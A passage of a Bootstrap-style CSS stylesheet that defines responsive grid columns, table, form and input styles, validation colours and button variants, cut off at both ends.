41.66666666666667%;\n}\n\n.col-xs-offset-4 {\n  margin-left: 33.33333333333333%;\n}\n\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n\n.col-xs-offset-2 {\n  margin-left: 16.666666666666664%;\n}\n\n.col-xs-offset-1 {\n  margin-left: 8.333333333333332%;\n}\n\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n\n@media (min-width: 768px) {\n  .col-sm-1,\n  .col-sm-2,\n  .col-sm-3,\n  .col-sm-4,\n  .col-sm-5,\n  .col-sm-6,\n  .col-sm-7,\n  .col-sm-8,\n  .col-sm-9,\n  .col-sm-10,\n  .col-sm-11,\n  .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666666666666%;\n  }\n  .col-sm-10 {\n    width: 83.33333333333334%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666666666666%;\n  }\n  .col-sm-7 {\n    width: 58.333333333333336%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666666666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.666666666666664%;\n  }\n  .col-sm-1 {\n    width: 8.333333333333332%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  .col-sm-pull-11 {\n    right: 91.66666666666666%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333333334%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666666666666%;\n  }\n  .col-sm-pull-7 {\n    right: 58.333333333333336%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666666666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.666666666666664%;\n  }\n  .col-sm-pull-1 {\n    right: 8.333333333333332%;\n  }\n  .col-sm-pull-0 {\n    right: 0;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666666666666%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333333334%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666666666666%;\n  }\n  .col-sm-push-7 {\n    left: 58.333333333333336%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666666666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.666666666666664%;\n  }\n  .col-sm-push-1 {\n    left: 8.333333333333332%;\n  }\n  .col-sm-push-0 {\n    left: 0;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666666666666%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333333334%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  }\n  .col-sm-offset-8 {\n    margin-left: 66.66666666666666%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.333333333333336%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666666666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.666666666666664%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.333333333333332%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-md-1,\n  .col-md-2,\n  .col-md-3,\n  .col-md-4,\n  .col-md-5,\n  .col-md-6,\n  .col-md-7,\n  .col-md-8,\n  .col-md-9,\n  .col-md-10,\n  .col-md-11,\n  .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666666666666%;\n  }\n  .col-md-10 {\n    width: 83.33333333333334%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666666666666%;\n  }\n  .col-md-7 {\n    width: 58.333333333333336%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666666666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.666666666666664%;\n  }\n  .col-md-1 {\n    width: 8.333333333333332%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666666666666%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333333334%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666666666666%;\n  }\n  .col-md-pull-7 {\n    right: 58.333333333333336%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666666666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.666666666666664%;\n  }\n  .col-md-pull-1 {\n    right: 8.333333333333332%;\n  }\n  .col-md-pull-0 {\n    right: 0;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666666666666%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333333334%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666666666666%;\n  }\n  .col-md-push-7 {\n    left: 58.333333333333336%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666666666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.666666666666664%;\n  }\n  .col-md-push-1 {\n    left: 8.333333333333332%;\n  }\n  .col-md-push-0 {\n    left: 0;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666666666666%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333333334%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666666666666%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.333333333333336%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666666666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.666666666666664%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.333333333333332%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-lg-1,\n  .col-lg-2,\n  .col-lg-3,\n  .col-lg-4,\n  .col-lg-5,\n  .col-lg-6,\n  .col-lg-7,\n  .col-lg-8,\n  .col-lg-9,\n  .col-lg-10,\n  .col-lg-11,\n  .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666666666666%;\n  }\n  .col-lg-10 {\n    width: 83.33333333333334%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666666666666%;\n  }\n  .col-lg-7 {\n    width: 58.333333333333336%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666666666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.666666666666664%;\n  }\n  .col-lg-1 {\n    width: 8.333333333333332%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666666666666%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333333334%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666666666666%;\n  }\n  .col-lg-pull-7 {\n    right: 58.333333333333336%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666666666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.666666666666664%;\n  }\n  .col-lg-pull-1 {\n    right: 8.333333333333332%;\n  }\n  .col-lg-pull-0 {\n    right: 0;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666666666666%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333333334%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666666666666%;\n  }\n  .col-lg-push-7 {\n    left: 58.333333333333336%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666666666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.666666666666664%;\n  }\n  .col-lg-push-1 {\n    left: 8.333333333333332%;\n  }\n  .col-lg-push-0 {\n    left: 0;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666666666666%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333333334%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666666666666%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.333333333333336%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666666666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.666666666666664%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.333333333333332%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\n\ntable {\n  max-width: 100%;\n  background-color: transparent;\n}\n\nth {\n  text-align: left;\n}\n\n.table {\n  width: 100%;\n  margin-bottom: 20px;\n}\n\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.428571429;\n  vertical-align: top;\n  border-top: 1px solid #dddddd;\n}\n\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #dddddd;\n}\n\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n\n.table > tbody + tbody {\n  border-top: 2px solid #dddddd;\n}\n\n.table .table {\n  background-color: #ffffff;\n}\n\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n\n.table-bordered {\n  border: 1px solid #dddddd;\n}\n\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #dddddd;\n}\n\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n\n.table-striped > tbody > tr:nth-child(odd) > td,\n.table-striped > tbody > tr:nth-child(odd) > th {\n  background-color: #f9f9f9;\n}\n\n.table-hover > tbody > tr:hover > td,\n.table-hover > tbody > tr:hover > th {\n  background-color: #f5f5f5;\n}\n\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\n\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  display: table-cell;\n  float: none;\n}\n\n.table > thead > tr > .active,\n.table > tbody > tr > .active,\n.table > tfoot > tr > .active,\n.table > thead > .active > td,\n.table > tbody > .active > td,\n.table > tfoot > .active > td,\n.table > thead > .active > th,\n.table > tbody > .active > th,\n.table > tfoot > .active > th {\n  background-color: #f5f5f5;\n}\n\n.table-hover > tbody > tr > .active:hover,\n.table-hover > tbody > .active:hover > td,\n.table-hover > tbody > .active:hover > th {\n  background-color: #e8e8e8;\n}\n\n.table > thead > tr > .success,\n.table > tbody > tr > .success,\n.table > tfoot > tr > .success,\n.table > thead > .success > td,\n.table > tbody > .success > td,\n.table > tfoot > .success > td,\n.table > thead > .success > th,\n.table > tbody > .success > th,\n.table > tfoot > .success > th {\n  background-color: #dff0d8;\n}\n\n.table-hover > tbody > tr > .success:hover,\n.table-hover > tbody > .success:hover > td,\n.table-hover > tbody > .success:hover > th {\n  background-color: #d0e9c6;\n}\n\n.table > thead > tr > .danger,\n.table > tbody > tr > .danger,\n.table > tfoot > tr > .danger,\n.table > thead > .danger > td,\n.table > tbody > .danger > td,\n.table > tfoot > .danger > td,\n.table > thead > .danger > th,\n.table > tbody > .danger > th,\n.table > tfoot > .danger > th {\n  background-color: #f2dede;\n}\n\n.table-hover > tbody > tr > .danger:hover,\n.table-hover > tbody > .danger:hover > td,\n.table-hover > tbody > .danger:hover > th {\n  background-color: #ebcccc;\n}\n\n.table > thead > tr > .warning,\n.table > tbody > tr > .warning,\n.table > tfoot > tr > .warning,\n.table > thead > .warning > td,\n.table > tbody > .warning > td,\n.table > tfoot > .warning > td,\n.table > thead > .warning > th,\n.table > tbody > .warning > th,\n.table > tfoot > .warning > th {\n  background-color: #fcf8e3;\n}\n\n.table-hover > tbody > tr > .warning:hover,\n.table-hover > tbody > .warning:hover > td,\n.table-hover > tbody > .warning:hover > th {\n  background-color: #faf2cc;\n}\n\n@media (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-x: scroll;\n    overflow-y: hidden;\n    border: 1px solid #dddddd;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    -webkit-overflow-scrolling: touch;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\n\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\n\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  /* IE8-9 */\n\n  line-height: normal;\n}\n\ninput[type=\"file\"] {\n  display: block;\n}\n\nselect[multiple],\nselect[size] {\n  height: auto;\n}\n\nselect optgroup {\n  font-family: inherit;\n  font-size: inherit;\n  font-style: inherit;\n}\n\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\ninput[type=\"number\"]::-webkit-outer-spin-button,\ninput[type=\"number\"]::-webkit-inner-spin-button {\n  height: auto;\n}\n\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.428571429;\n  color: #555555;\n  vertical-align: middle;\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.428571429;\n  color: #555555;\n  vertical-align: middle;\n  background-color: #ffffff;\n  background-image: none;\n  border: 1px solid #cccccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n          transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;\n}\n\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(102, 175, 233, 0.6);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n\n.form-control:-moz-placeholder {\n  color: #999999;\n}\n\n.form-control::-moz-placeholder {\n  color: #999999;\n  opacity: 1;\n}\n\n.form-control:-ms-input-placeholder {\n  color: #999999;\n}\n\n.form-control::-webkit-input-placeholder {\n  color: #999999;\n}\n\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n}\n\ntextarea.form-control {\n  height: auto;\n}\n\n.form-group {\n  margin-bottom: 15px;\n}\n\n.radio,\n.checkbox {\n  display: block;\n  min-height: 20px;\n  padding-left: 20px;\n  margin-top: 10px;\n  margin-bottom: 10px;\n  vertical-align: middle;\n}\n\n.radio label,\n.checkbox label {\n  display: inline;\n  margin-bottom: 0;\n  font-weight: normal;\n  cursor: pointer;\n}\n\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -20px;\n}\n\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n\n.radio-inline,\n.checkbox-inline {\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\n.radio[disabled],\n.radio-inline[disabled],\n.checkbox[disabled],\n.checkbox-inline[disabled],\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"],\nfieldset[disabled] .radio,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\n\ntextarea.input-sm {\n  height: auto;\n}\n\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\n\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\n\ntextarea.input-lg {\n  height: auto;\n}\n\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline {\n  color: #8a6d3b;\n}\n\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline {\n  color: #a94442;\n}\n\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline {\n  color: #3c763d;\n}\n\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n\n.form-control-static {\n  margin-bottom: 0;\n}\n\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n  }\n  .form-inline select.form-control {\n    width: auto;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    padding-left: 0;\n    margin-top: 0;\n    margin-bottom: 0;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    float: none;\n    margin-left: 0;\n  }\n}\n\n.form-horizontal .control-label,\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after {\n  display: table;\n  content: \" \";\n}\n\n.form-horizontal .form-group:after {\n  clear: both;\n}\n\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after {\n  display: table;\n  content: \" \";\n}\n\n.form-horizontal .form-group:after {\n  clear: both;\n}\n\n.form-horizontal .form-control-static {\n  padding-top: 7px;\n}\n\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    text-align: right;\n  }\n}\n\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.428571429;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  cursor: pointer;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n       -o-user-select: none;\n          user-select: none;\n}\n\n.btn:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.btn:hover,\n.btn:focus {\n  color: #333333;\n  text-decoration: none;\n}\n\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  pointer-events: none;\n  cursor: not-allowed;\n  opacity: 0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-default {\n  color: #333333;\n  background-color: #ffffff;\n  border-color: #cccccc;\n}\n\n.btn-default:hover,\n.btn-default:focus,\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n  color: #333333;\n  background-color: #ebebeb;\n  border-color: #adadad;\n}\n\n.btn-default:active,\n.btn-default.active,\n.open .dropdown-toggle.btn-default {\n  background-image: none;\n}\n\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #ffffff;\n  border-color: #cccccc;\n}\n\n.btn-default .badge {\n  color: #ffffff;\n  background-color: #fff;\n}\n\n.btn-primary {\n  color: #ffffff;\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n  color: #ffffff;\n  background-color: #3276b1;\n  border-color: #285e8e;\n}\n\n.btn-primary:active,\n.btn-primary.active,\n.open .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n\n.btn-primary .badge {\n  color: #428bca;\n  background-color: #fff;\n}\n\n.btn-warning {\n  color: #ffffff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n  color: #ffffff;\n  background-color: #ed9c28;\n  border-color: #d58512;\n}\n\n.btn-warning:active,\n.btn-warning.active,\n.open .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n\n.btn-danger {\n  color: #ffffff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n  color: #ffffff;\n  background-color: #d2322d;\n  border-color: #ac2925;\n}\n\n.btn-danger:active,\n.btn-danger.active,\n.open .dropdown-toggle.btn-danger {\n  background-image: 